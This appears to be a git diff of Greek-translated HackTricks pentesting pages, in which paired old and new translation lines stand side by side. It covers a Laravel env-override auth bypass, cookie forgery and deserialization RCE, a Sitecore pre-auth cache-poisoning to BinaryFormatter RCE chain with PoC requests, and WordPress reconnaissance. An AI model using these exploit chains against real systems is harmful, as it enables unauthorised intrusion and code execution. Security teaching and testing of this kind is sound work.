Επειδή κάθε νέα απάντηση Laravel ορίζει τουλάχιστον ένα κρυπτογραφημένο cookie (`XSRF-TOKEN` και συνήθως `laravel_session`), **public internet scanners (Shodan, Censys, …) leak εκατομμύρια ciphertexts** που μπορούν να παραβιαστούν offline.
Key findings of the research published by Synacktiv (2024-2025):
Κύρια ευρήματα της έρευνας που δημοσιεύτηκε από Synacktiv (2024-2025):
* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked**
* >1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data.
* Huge key reuse the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …).
The private Go tool **nounours** pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes.
Το ιδιωτικό εργαλείο Go **nounours** ανεβάζει το AES-CBC/GCM bruteforce throughput σε ~1.5 billion tries/s, μειώνοντας το full dataset cracking σε <2 minutes.
## CVE-2024-52301 HTTP argv/env override → auth bypass
Όταν το PHP έχει `register_argc_argv=On` (τυπικό σε πολλές διανομές), το PHP εκθέτει έναν πίνακα `argv` για HTTP requests που προέρχεται από το query string. Πρόσφατες εκδόσεις Laravel parsed αυτά τα “CLI-like” args και σεβάστηκαν το `--env=<value>` κατά το runtime. Αυτό επιτρέπει να αλλάξετε το framework environment για το τρέχον HTTP request απλώς προσθέτοντάς το σε οποιοδήποτε URL:
Όταν το PHP έχει `register_argc_argv=On` (τυπικό σε πολλές διανομές), το PHP εκθέτει έναν πίνακα `argv` για HTTP requests που προέρχεται από το query string. Πρόσφατες εκδόσεις Laravel ανάλυσαν αυτά τα “CLI-like” args και σεβάστηκαν το `--env=<value>` κατά το runtime. Αυτό επιτρέπει την αλλαγή του framework environment για το τρέχον HTTP request απλώς προσθέτοντάς το σε οποιοδήποτε URL:
- Quick check:
- Visit `https://target/?--env=local` or any string and look for environment-dependent changes (debug banners, footers, verbose errors). If the string is reflected, the override is working.
- Visit `https://target/?--env=local` ή οποιοδήποτε string και ψάξτε για αλλαγές εξαρτώμενες από το environment (debug banners, footers, verbose errors). Αν το string γίνεται reflected, το override λειτουργεί.
- Impact example (business logic trusting a special env):
- Αν η εφαρμογή περιέχει διακλαδώσεις όπως `if (app()->environment('preprod')) { /* bypass auth */ }`, μπορείτε να συνδεθείτε χωρίς έγκυρα διαπιστευτήρια στέλνοντας το login POST στο:
- Αν η εφαρμογή περιέχει διακλαδώσεις όπως `if (app()->environment('preprod')) { /* bypass auth */ }`, μπορείτε να αυθεντικοποιηθείτε χωρίς έγκυρα creds στέλνοντας το login POST στο:
- `POST /login?--env=preprod`
- Notes:
- Ισχύει ανά-request, χωρίς μόνιμη επίδραση.
- Λειτουργεί ανά αίτημα, χωρίς μόνιμη αλλαγή.
- Απαιτεί `register_argc_argv=On` και μια ευάλωτη έκδοση Laravel που διαβάζει argv για HTTP.
- Χρήσιμο primitive για να εμφανιστούν πιο verbose errors σε “debug” envs ή για να ενεργοποιηθούν environment-gated code paths.
- Χρήσιμο primitive για να εμφανίσετε πιο verbose errors σε “debug” envs ή για να ενεργοποιήσετε code paths που ελέγχονται από το environment.
- Mitigations:
- Disable `register_argc_argv` for PHP-FPM/Apache.
- Upgrade Laravel to ignore argv on HTTP requests and remove any trust assumptions tied to `app()->environment()` in production routes.
- Απενεργοποιήστε το `register_argc_argv` για PHP-FPM/Apache.
- Αναβαθμίστε το Laravel ώστε να αγνοεί argv σε HTTP requests και αφαιρέστε οποιεσδήποτε υποθέσεις εμπιστοσύνης συνδεδεμένες με `app()->environment()` σε production routes.
Minimal exploitation flow (Burp):
```http
@ -125,25 +125,26 @@ email=a@b.c&password=whatever&remember=0xdf
```
---
## Laravel Tricks
## Laravel Κόλπα
### Λειτουργία εντοπισμού σφαλμάτων
### Debugging mode
Εάν το Laravel βρίσκεται σε **λειτουργία εντοπισμού σφαλμάτων**, θα μπορείτε να αποκτήσετε πρόσβαση στον **κώδικα** και σε **ευαίσθητα δεδομένα**.\ Για παράδειγμα `http://127.0.0.1:8000/profiles`:
Αν το Laravel είναι σε **debugging mode** θα μπορείτε να αποκτήσετε πρόσβαση στον **code** και σε **sensitive data**.\
Για παράδειγμα `http://127.0.0.1:8000/profiles`:
![](<../../images/image (1046).png>)
Συνήθως αυτό χρειάζεται για την εκμετάλλευση άλλων Laravel RCE CVEs.
Αυτό συνήθως χρειάζεται για exploiting άλλων Laravel RCE CVEs.
### Fingerprinting & exposed dev endpoints
Γρήγοροι έλεγχοι για να αναγνωρίσετε ένα Laravel stack και επικίνδυνα dev εργαλεία εκτεθειμένα σε production:
Γρήγοροι έλεγχοι για να αναγνωρίσετε ένα Laravel stack και επικίνδυνα dev tooling εκτεθειμένα σε production:
- `/_ignition/health-check` → Ignition παρόν (debug tool που χρησιμοποιείται από CVE-2021-3129). Αν είναι προσβάσιμο χωρίς authentication, η εφαρμογή μπορεί να βρίσκεται σε debug ή να είναι λανθασμένα διαμορφωμένη.
- `/_debugbar` → Laravel Debugbar assets· συχνά υποδεικνύει λειτουργία debug.
- `/telescope` → Laravel Telescope (dev monitor). Αν είναι δημόσιο, αναμένετε ευρεία αποκάλυψη πληροφοριών και πιθανές ενέργειες.
- `/horizon` → Queue dashboard· αποκάλυψη έκδοσης και μερικές φορές ενέργειες προστατευμένες με CSRF.
- `X-Powered-By`, cookies `XSRF-TOKEN` και `laravel_session`, καθώς και Blade error pages βοηθούν επίσης στο fingerprinting.
- `/_ignition/health-check` → Ignition παρόν (debug tool used by CVE-2021-3129). Αν είναι προσβάσιμο χωρίς authentication, η εφαρμογή μπορεί να βρίσκεται σε debug ή να είναι misconfigured.
- `/_debugbar` → Laravel Debugbar assets; συχνά υποδηλώνει debug mode.
- `/telescope` → Laravel Telescope (dev monitor). Αν είναι δημόσιο, αναμένετε ευρεία information disclosure και πιθανές ενέργειες.
- `/horizon` → Queue dashboard; version disclosure και μερικές φορές ενέργειες προστατευμένες με CSRF.
- `X-Powered-By`, cookies `XSRF-TOKEN` and `laravel_session`, και οι σελίδες σφαλμάτων Blade επίσης βοηθούν στο fingerprint.
```bash
# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
@ -152,11 +153,11 @@ for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https:/
```
### .env
Το Laravel αποθηκεύει το APP που χρησιμοποιεί για να κρυπτογραφεί τα cookies και άλλα credentials μέσα σε ένα αρχείο με όνομα `.env` που μπορεί να προσπελαστεί χρησιμοποιώντας κάποιο path traversal στο: `/../.env`
Το Laravel αποθηκεύει το APP που χρησιμοποιεί για να κρυπτογραφήσει τα cookies και άλλα credentials μέσα σε ένα αρχείο που ονομάζεται `.env` το οποίο μπορεί να προσεγγιστεί χρησιμοποιώντας κάποια path traversal στο: `/../.env`
Το Laravel θα εμφανίσει επίσης αυτές τις πληροφορίες μέσα στη debug page (που εμφανίζεται όταν το Laravel βρει ένα σφάλμα και είναι ενεργοποιημένη).
Το Laravel θα εμφανίσει επίσης αυτές τις πληροφορίες στη σελίδα debug (που εμφανίζεται όταν το Laravel βρίσκει σφάλμα και είναι ενεργοποιημένο).
Χρησιμοποιώντας το secret APP_KEY του Laravel μπορείτε να decrypt και να re-encrypt τα cookies:
Χρησιμοποιώντας το μυστικό APP_KEY του Laravel μπορείτε να decrypt και να re-encrypt τα cookies:
### Decrypt Cookie
```python
@ -219,12 +220,12 @@ encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2Swe
```
### Laravel Deserialization RCE
Ευπαθείς εκδόσεις: 5.5.40 and 5.6.x through 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
Ευάλωτες εκδόσεις: 5.5.40 και 5.6.x έως 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
Εδώ θα βρείτε πληροφορίες για την deserialization vulnerability: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
Εδώ μπορείτε να βρείτε πληροφορίες για την deserialization vulnerability: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
Μπορείτε να το δοκιμάσετε και να το exploit χρησιμοποιώντας [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Ή μπορείτε επίσης να το exploit με metasploit: `use unix/http/laravel_token_unserialize_exec`
Μπορείτε να το δοκιμάσετε και να το εκμεταλλευτείτε χρησιμοποιώντας [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Ή μπορείτε επίσης να το εκμεταλλευτείτε με το metasploit: `use unix/http/laravel_token_unserialize_exec`
### CVE-2021-3129

View File

@ -2,9 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
Αυτή η σελίδα συνοψίζει μια πρακτική αλυσίδα επίθεσης κατά του Sitecore XP 10.4.1 που εκκινεί από έναν preauth XAML handler προς HTML cache poisoning και, μέσω μιας αυθεντικοποιημένης ροής UI, οδηγεί σε RCE μέσω BinaryFormatter deserialization. Οι τεχνικές γενικεύονται σε παρόμοιες εκδόσεις/συστατικά του Sitecore και παρέχουν συγκεκριμένα primitives για δοκιμές, ανίχνευση και σκληρυνση.
Αυτή η σελίδα συνοψίζει μια πρακτική αλυσίδα επίθεσης εναντίον του Sitecore XP 10.4.1 που pivots από έναν preauth XAML handler σε HTML cache poisoning και, μέσω μιας authenticated UI ροής, σε RCE μέσω BinaryFormatter deserialization. Οι τεχνικές γενικεύονται σε παρόμοιες εκδόσεις/συστατικά του Sitecore και παρέχουν συγκεκριμένα primitives για testing, detection και hardening.
- Προϊόν που εξετάστηκε: Sitecore XP 10.4.1 rev. 011628
- Επηρεασμένο προϊόν που δοκιμάστηκε: Sitecore XP 10.4.1 rev. 011628
- Διορθώθηκε σε: KB1003667, KB1003734 (Ιούνιος/Ιούλιος 2025)
Δείτε επίσης:
@ -19,15 +19,15 @@
## Preauth primitive: XAML Ajax reflection → HtmlCache write
Το σημείο εισόδου είναι ο preauth XAML handler που δηλώνεται στο web.config:
Σημείο εισόδου είναι ο preauth XAML handler καταχωρημένος στο web.config:
```xml
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
```
Πρόσβαση μέσω:
Προσβάσιμο μέσω:
```
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
```
Το δέντρο ελέγχων περιλαμβάνει το AjaxScriptManager, το οποίο, σε αιτήματα συμβάντων, διαβάζει attackercontrolled πεδία και ανακλαστικά καλεί μεθόδους σε στοχευμένους ελέγχους:
Το δέντρο ελέγχων περιλαμβάνει το AjaxScriptManager το οποίο, σε αιτήματα συμβάντων, διαβάζει attackercontrolled πεδία και ανακλαστικά καλεί μεθόδους σε στοχευμένα controls:
```csharp
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"]; // target control
@ -42,7 +42,7 @@ if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
```
Βασική παρατήρηση: η σελίδα XAML περιλαμβάνει ένα XmlControl instance (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl κληρονομεί από το Sitecore.Web.UI.WebControl (μια κλάση Sitecore), η οποία περνάει την ReflectionUtil.Filter allowlist (Sitecore.*), ξεκλειδώνοντας μεθόδους στο Sitecore WebControl.
Κύρια παρατήρηση: η σελίδα XAML περιλαμβάνει ένα XmlControl instance (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl κληρονομεί από Sitecore.Web.UI.WebControl (μια κλάση Sitecore), η οποία περνάει την allowlist ReflectionUtil.Filter (Sitecore.*), ξεκλειδώνοντας μεθόδους στο Sitecore WebControl.
Μαγική μέθοδος για poisoning:
```csharp
@ -52,7 +52,7 @@ HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}
```
Επειδή μπορούμε να στοχεύσουμε το xmlcontrol:GlobalHeader και να καλέσουμε μεθόδους του Sitecore.Web.UI.WebControl με το όνομά τους, αποκτούμε ένα preauth arbitrary HtmlCache write primitive.
Επειδή μπορούμε να στοχεύσουμε το xmlcontrol:GlobalHeader και να καλέσουμε μεθόδους του Sitecore.Web.UI.WebControl με το όνομα, αποκτούμε ένα preauth αυθαίρετο HtmlCache write primitive.
### Αίτημα PoC (CVE-2025-53693)
```
@ -64,11 +64,11 @@ __PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ct
```
Σημειώσεις:
- __SOURCE είναι το clientID του xmlcontrol:GlobalHeader μέσα στο Sitecore.Shell.Xaml.WebControl (συνήθως σταθερό όπως ctl00_ctl00_ctl05_ctl03 καθώς προέρχεται από static XAML).
- __PARAMETERS μορφή είναι Method("arg1","arg2").
- Η μορφή του __PARAMETERS είναι Method("arg1","arg2").
## Τι να poison: Cache key construction
## What to poison: Cache key construction
Τυπική HtmlCache key construction που χρησιμοποιείται από τα Sitecore controls:
Τυπική κατασκευή κλειδιού HtmlCache που χρησιμοποιείται από τους Sitecore controls:
```csharp
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
@ -90,13 +90,13 @@ return k;
return string.Empty;
}
```
Παράδειγμα targeted poisoning για ένα γνωστό sublayout:
Παράδειγμα targeted poisoning για γνωστό sublayout:
```
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
## Απαρίθμηση cacheable items και “vary by” διαστάσεων
## Απογραφή cacheable items και διαστάσεων “vary by”
Εάν το ItemService έχει (λανθασμένα) εκτεθεί ανώνυμα, μπορείτε να απαριθμήσετε cacheable components για να εξαγάγετε τα ακριβή keys.
Αν το ItemService είναι (λανθασμένα) εκτεθειμένο ανώνυμα, μπορείτε να απογράψετε cacheable components για να εξαχθούν ακριβή keys.
Γρήγορη δοκιμή:
```
@ -104,7 +104,7 @@ GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required
```
Λίστα αντικειμένων που μπορούν να cache και flags:
Καταγράψτε τα αντικείμενα που μπορούν να αποθηκευτούν στην κρυφή μνήμη και τις σημαίες:
```
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
```
@ -112,9 +112,9 @@ GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
```
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
```
### Sidechannel enumeration under restricted identities (CVE-2025-53694)
### Sidechannel enumeration υπό περιορισμένες ταυτότητες (CVE-2025-53694)
Ακόμα και όταν το ItemService υποδύεται έναν περιορισμένο λογαριασμό (π.χ., ServicesAPI) και επιστρέφει έναν κενό πίνακα Results, το TotalCount μπορεί ακόμη να αντικατοπτρίζει preACL Solr hits. Μπορείτε να bruteforce item groups/ids με wildcards και να παρακολουθήσετε το TotalCount να συγκλίνει για να χαρτογραφήσετε το εσωτερικό περιεχόμενο και τις συσκευές:
Ακόμη και όταν το ItemService υποδύεται έναν περιορισμένο λογαριασμό (π.χ. ServicesAPI) και επιστρέφει ένα κενό Results array, το TotalCount μπορεί ακόμα να αντικατοπτρίζει preACL Solr hits. Μπορείτε να bruteforce item groups/ids με wildcards και να παρακολουθήσετε το TotalCount να συγκλίνει για να χαρτογραφήσετε το εσωτερικό περιεχόμενο και τις συσκευές:
```
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
@ -131,14 +131,14 @@ Sink:
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));
```
Προσβάσιμο μέσω του pipeline step convertToRuntimeHtml ConvertWebControls, το οποίο αναζητά ένα στοιχείο με id {iframeId}_inner και το base64 αποκωδικοποιεί + αποσειριοποιεί, και στη συνέχεια εισάγει το προκύπτον string στο HTML:
Προσβάσιμο μέσω του pipeline step convertToRuntimeHtml (ConvertWebControls), το οποίο αναζητά ένα στοιχείο με id {iframeId}_inner και κάνει base64 decodes + deserializes σε αυτό, και στη συνέχεια εισάγει την προκύπτουσα συμβολοσειρά στο HTML:
```csharp
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2 = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
```
Ενεργοποίηση (επαληθευμένος, δικαιώματα Content Editor). Ο διάλογος FixHtml καλεί convertToRuntimeHtml. Από άκρο σε άκρο χωρίς κλικ στο UI:
Εκκίνηση (authenticated, Content Editor rights). Ο διάλογος FixHtml καλεί την convertToRuntimeHtml. Endtoend χωρίς κλικ στο UI:
```
// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx
@ -159,7 +159,8 @@ __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
```
Δημιουργία gadget: χρησιμοποιήστε ysoserial.net / YSoNet με BinaryFormatter για να παράγετε ένα base64 payload που επιστρέφει ένα string. Τα περιεχόμενα του string γράφονται στο HTML από ConvertWebControls μετά την εκτέλεση των παρενεργειών της αποσειριοποίησης.
Gadget generation: χρησιμοποιήστε ysoserial.net / YSoNet με BinaryFormatter για να παράγετε ένα base64 payload που επιστρέφει ένα string. Το περιεχόμενο του string γράφεται στο HTML από το ConvertWebControls αφού εκτελεστούν τα deserialization sideeffects.
{{#ref}}
../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
@ -167,27 +168,27 @@ GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.Fix
## Πλήρης αλυσίδα
1) Preauth attacker δηλητηριάζει το HtmlCache με αυθαίρετο HTML ανακλαστικά καλώντας WebControl.AddToCache μέσω XAML AjaxScriptManager.
2) Το μολυσμένο HTML παρέχει JavaScript που ωθεί έναν authenticated Content Editor χρήστη στη ροή FixHtml.
3) Η σελίδα FixHtml ενεργοποιεί convertToRuntimeHtml → ConvertWebControls, το οποίο αποσειριοποιεί attackercontrolled base64 μέσω BinaryFormatter → RCE υπό την ταυτότητα του Sitecore app pool.
1) Preauth επιτιθέμενος δηλητηριάζει το HtmlCache με αυθαίρετο HTML καλώντας ανακλαστικά το WebControl.AddToCache μέσω XAML AjaxScriptManager.
2) Το δηλητηριασμένο HTML σερβίρει JavaScript που ωθεί έναν authenticated Content Editor χρήστη μέσω της ροής FixHtml.
3) Η σελίδα FixHtml ενεργοποιεί το convertToRuntimeHtml → ConvertWebControls, το οποίο deserializes attackercontrolled base64 μέσω BinaryFormatter → RCE υπό την ταυτότητα του Sitecore app pool.
## Ανίχνευση
- Preauth XAML: requests to `/-/xaml/Sitecore.Shell.Xaml.WebControl` with `__ISEVENT=1`, suspicious `__SOURCE` and `__PARAMETERS=AddToCache(...)`.
- ItemService probing: spikes of `/sitecore/api/ssc` wildcard queries, large `TotalCount` with empty `Results`.
- Deserialization attempts: `EditHtml.aspx` followed by `FixHtml.aspx?hdl=...` and unusually large base64 in HTML fields.
- Preauth XAML: αιτήσεις προς `/-/xaml/Sitecore.Shell.Xaml.WebControl` με `__ISEVENT=1`, ύποπτο `__SOURCE` και `__PARAMETERS=AddToCache(...)`.
- ItemService probing: αιχμές σε wildcard ερωτήματα προς `/sitecore/api/ssc`, μεγάλο `TotalCount` με κενά `Results`.
- Deserialization attempts: `EditHtml.aspx` ακολουθούμενο από `FixHtml.aspx?hdl=...` και ασυνήθιστα μεγάλο base64 σε πεδία HTML.
## Σκληροποίηση
- Apply Sitecore patches KB1003667 and KB1003734; gate/disable preauth XAML handlers or add strict validation; monitor and ratelimit `/-/xaml/`.
- Remove/replace BinaryFormatter; restrict access to convertToRuntimeHtml or enforce strong serverside validation of HTML editing flows.
- Lock down `/sitecore/api/ssc` to loopback or authenticated roles; avoid impersonation patterns that leak `TotalCount`based side channels.
- Enforce MFA/least privilege for Content Editor users; review CSP to reduce JS steering impact from cache poisoning.
- Εφαρμόστε Sitecore patches KB1003667 και KB1003734; gate/disable preauth XAML handlers ή προσθέστε αυστηρό validation; παρακολουθείστε και ratelimit το `/-/xaml/`.
- Remove/replace BinaryFormatter; περιορίστε την πρόσβαση στο convertToRuntimeHtml ή εφαρμόστε ισχυρό serverside validation των ροών επεξεργασίας HTML.
- Lock down `/sitecore/api/ssc` σε loopback ή authenticated roles; αποφύγετε impersonation patterns που leak `TotalCount`based side channels.
- Επιβάλετε MFA/least privilege για χρήστες Content Editor; επανεξετάστε το CSP για να μειώσετε τον αντίκτυπο του JS steering από cache poisoning.
## References
## Αναφορές
- [watchTowr Labs Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
- [Sitecore KB1003667 Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667)
- [watchTowr Labs Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
- [Sitecore KB1003667 Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667)
- [Sitecore KB1003734 Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,51 +2,51 @@
{{#include ../../banners/hacktricks-training.md}}
## Βασικές πληροφορίες
## Βασικές Πληροφορίες
- **Uploaded** αρχεία πηγαίνουν στο: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Τα αρχεία θεμάτων βρίσκονται στο /wp-content/themes/,** οπότε αν αλλάξετε κάποιο php του theme για να πάρετε RCE πιθανότατα θα χρησιμοποιήσετε αυτή τη διαδρομή. Για παράδειγμα: Χρησιμοποιώντας **theme twentytwelve** μπορείτε να **προσπελάσετε** το αρχείο **404.php** στο: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Uploaded** αρχεία αποθηκεύονται στο: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Τα αρχεία των themes βρίσκονται στο /wp-content/themes/,** οπότε αν αλλάξετε κάποιο php του theme για να αποκτήσετε RCE πιθανότατα θα χρησιμοποιήσετε αυτό το path. Για παράδειγμα: Χρησιμοποιώντας **theme twentytwelve** μπορείτε να **προσπελάσετε** το αρχείο **404.php** στο: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Άλλη χρήσιμη διεύθυνση μπορεί να είναι:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Ένα ακόμη χρήσιμο url μπορεί να είναι:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- Στο **wp-config.php** μπορείτε να βρείτε το root password της βάσης δεδομένων.
- Προεπιλεγμένες διαδρομές login προς έλεγχο: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Κύρια αρχεία WordPress**
### **Main WordPress Files**
- `index.php`
- `license.txt` περιέχει χρήσιμες πληροφορίες όπως την εγκατεστημένη έκδοση του WordPress.
- `wp-activate.php` χρησιμοποιείται για τη διαδικασία ενεργοποίησης μέσω email κατά τη ρύθμιση ενός νέου WordPress site.
- Φάκελοι login (μπορεί να μετονομαστούν για να αποκρυφθούν):
- `license.txt` περιέχει χρήσιμες πληροφορίες όπως η έκδοση του WordPress που είναι εγκατεστημένη.
- `wp-activate.php` χρησιμοποιείται για τη διαδικασία ενεργοποίησης μέσω email κατά τη ρύθμιση ενός νέου WordPress ιστότοπου.
- Login folders (may be renamed to hide it):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` είναι ένα αρχείο που αντιπροσωπεύει μια λειτουργία του WordPress που επιτρέπει τη μετάδοση δεδομένων με HTTP ως μεταφορικό μηχανισμό και XML ως μηχανισμό κωδικοποίησης. Αυτός ο τύπος επικοινωνίας έχει αντικατασταθεί από το WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- `xmlrpc.php` είναι ένα αρχείο που αντιπροσωπεύει ένα χαρακτηριστικό του WordPress που επιτρέπει τη μετάδοση δεδομένων με HTTP ως μηχανισμό μεταφοράς και XML ως μηχανισμό κωδικοποίησης. Αυτού του είδους η επικοινωνία έχει αντικατασταθεί από το WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- Ο φάκελος `wp-content` είναι ο κύριος κατάλογος όπου αποθηκεύονται plugins και themes.
- `wp-content/uploads/` είναι ο κατάλογος όπου αποθηκεύονται όλα τα αρχεία που ανεβάζονται στην πλατφόρμα.
- `wp-includes/` Αυτός είναι ο κατάλογος όπου αποθηκεύονται τα core αρχεία, όπως πιστοποιητικά, γραμματοσειρές, αρχεία JavaScript και widgets.
- `wp-sitemap.xml` Στις εκδόσεις Wordpress 5.5 και νεότερες, το Wordpress δημιουργεί ένα sitemap XML αρχείο με όλα τα δημόσια posts και publicly queryable post types και taxonomies.
- `wp-content/uploads/` είναι ο κατάλογος όπου αποθηκεύονται τα αρχεία που ανεβαίνουν στην πλατφόρμα.
- `wp-includes/` είναι ο κατάλογος όπου αποθηκεύονται τα core αρχεία, όπως πιστοποιητικά, γραμματοσειρές, αρχεία JavaScript και widgets.
- `wp-sitemap.xml` Σε εκδόσεις WordPress 5.5 και νεότερες, το WordPress δημιουργεί ένα sitemap XML αρχείο με όλες τις δημόσιες αναρτήσεις και τους δημόσια ερωτήσιμους τύπους αναρτήσεων και ταξινομήσεις.
**Post exploitation**
- Το αρχείο `wp-config.php` περιέχει πληροφορίες που απαιτούνται από το WordPress για τη σύνδεση στη βάση δεδομένων, όπως το όνομα της βάσης δεδομένων, τον host της βάσης, username και password, authentication keys και salts, και το database table prefix. Αυτό το αρχείο ρύθμισης μπορεί επίσης να χρησιμοποιηθεί για την ενεργοποίηση της λειτουργίας DEBUG, η οποία μπορεί να είναι χρήσιμη στην αντιμετώπιση προβλημάτων.
- Το `wp-config.php` αρχείο περιέχει πληροφορίες που απαιτούνται από το WordPress για σύνδεση στη βάση δεδομένων, όπως το όνομα της βάσης δεδομένων, το database host, username και password, authentication keys και salts, και το database table prefix. Αυτό το αρχείο ρύθμισης μπορεί επίσης να χρησιμοποιηθεί για την ενεργοποίηση του DEBUG mode, το οποίο μπορεί να είναι χρήσιμο στην αντιμετώπιση προβλημάτων.
### Δικαιώματα χρηστών
### Δικαιώματα Χρηστών
- **Administrator**
- **Editor**: Δημοσιεύει και διαχειρίζεται τις δικές του και άλλες αναρτήσεις
- **Editor**: Δημοσιεύει και διαχειρίζεται τις δικές του και άλλων αναρτήσεις
- **Author**: Δημοσιεύει και διαχειρίζεται τις δικές του αναρτήσεις
- **Contributor**: Γράφει και διαχειρίζεται τις αναρτήσεις του αλλά δεν μπορεί να τις δημοσιεύσει
- **Subscriber**: Περιηγείται τις αναρτήσεις και επεξεργάζεται το προφίλ του
- **Subscriber**: Προβάλει αναρτήσεις και επεξεργάζεται το προφίλ του
## **Παθητική ανάκτηση πληροφοριών**
## **Παθητική Αναγνώριση**
### **Βρείτε την έκδοση του WordPress**
### **Βρες την έκδοση του WordPress**
Ελέγξτε αν μπορείτε να βρείτε τα αρχεία `/license.txt` ή `/readme.html`
Μέσα στον **πηγαίο κώδικα** της σελίδας (παράδειγμα από [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
Μέσα στον **source code** της σελίδας (παράδειγμα από [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
- grep
```bash
@ -56,7 +56,7 @@ curl https://victim.com/ | grep 'content="WordPress'
![](<../../images/image (1111).png>)
- Αρχεία CSS (link)
- Αρχεία CSS link
![](<../../images/image (533).png>)
@ -64,7 +64,7 @@ curl https://victim.com/ | grep 'content="WordPress'
![](<../../images/image (524).png>)
### Λήψη πρόσθετων
### Λήψη Plugins
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
@ -77,39 +77,39 @@ curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-conten
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
## Active enumeration
## Ενεργή αναγνώριση
### Plugins and Themes
